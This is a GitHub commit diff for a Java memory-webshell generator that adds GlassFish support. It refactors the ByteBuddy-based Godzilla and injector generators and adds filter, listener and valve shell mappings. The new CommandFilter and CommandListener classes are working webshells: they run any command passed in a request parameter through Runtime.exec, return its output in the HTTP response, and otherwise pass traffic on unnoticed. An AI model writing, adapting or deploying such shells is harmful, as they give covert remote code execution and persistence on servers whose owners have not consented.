Skip to content

Commit

Permalink
feat: support glassfish shell generate
Browse files Browse the repository at this point in the history
  • Loading branch information
ReaJason committed Dec 12, 2024
1 parent 9c4f488 commit 149ce07
Show file tree
Hide file tree
Showing 38 changed files with 1,703 additions and 207 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import net.bytebuddy.dynamic.DynamicType;

/**
* @author ReaJason
Expand All @@ -25,6 +26,11 @@ public class InjectorConfig {
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();

/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;

/**
* 注入访问的地址
*/
Expand All @@ -36,6 +42,11 @@ public class InjectorConfig {
*/
private String shellClassName;

/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;

/**
* 内存马类字节
*/
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -196,7 +196,7 @@ public boolean start() {
if (response.isSuccessful()) {
return true;
}
System.out.println(response.body().string());
System.out.println(response.body().string().trim());
} catch (IOException e) {
e.printStackTrace();
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -66,7 +66,7 @@ public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorC
.shellClassName(shellToolConfig.getClassName())
.shellClassBytes(shellBytes).build();

byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();

return GenerateResult.builder()
.shellConfig(shellConfig)
Expand Down Expand Up @@ -108,7 +108,7 @@ private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, Strin

private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -17,33 +17,45 @@
* @since 2024/11/23
*/
public class GodzillaGenerator {
public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) {
if (shellConfig.getClazz() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
private final ShellConfig shellConfig;
private final GodzillaConfig godzillaConfig;

public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
this.shellConfig = shellConfig;
this.godzillaConfig = godzillaConfig;
}

public DynamicType.Builder<?> getBuilder() {
if (godzillaConfig.getClazz() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
}
String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase();
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();

DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.redefine(godzillaConfig.getClazz())
.name(godzillaConfig.getClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
.andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass()))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue())));
.andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue())));

if (config.isJakarta()) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}

if (config.isDebugOff()) {
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}

public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -21,9 +21,16 @@
* @since 2024/11/24
*/
public class InjectorGenerator {
private final ShellConfig config;
private final InjectorConfig injectorConfig;

public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) {
this.config = config;
this.injectorConfig = injectorConfig;
}

@SneakyThrows
public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) {
public DynamicType.Builder<?> getBuilder() {
String base64String = Base64.encodeBase64String(
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
.replace(System.lineSeparator(), "");
Expand All @@ -35,14 +42,20 @@ public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig)
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));


if (config.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder);
}

if (config.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}

@SneakyThrows
public byte[] generate() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
package com.reajason.javaweb.memsell.glassfish;

import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.glassfish.command.CommandFilter;
import com.reajason.javaweb.memsell.glassfish.command.CommandListener;
import com.reajason.javaweb.memsell.glassfish.command.CommandValve;
import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaFilter;
import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memsell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
import org.apache.commons.lang3.tuple.Pair;

import java.util.List;
import java.util.Map;

/**
* @author ReaJason
* @since 2024/12/12
*/
public class GlassFishShell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";

@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Command, ShellTool.Godzilla);
}

@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
);
}

@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
package com.reajason.javaweb.memsell.glassfish.command;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;

/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String paramName = "{{paramName}}";

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}

@Override
public void destroy() {

}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
package com.reajason.javaweb.memsell.glassfish.command;

import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;

/**
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";

public CommandListener() {
}

@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}

private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
try {
response = (HttpServletResponse) getFieldValue(request, "response");
} catch (Exception ee) {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
}
}
return response;
}
}
Loading

0 comments on commit 149ce07

Please sign in to comment.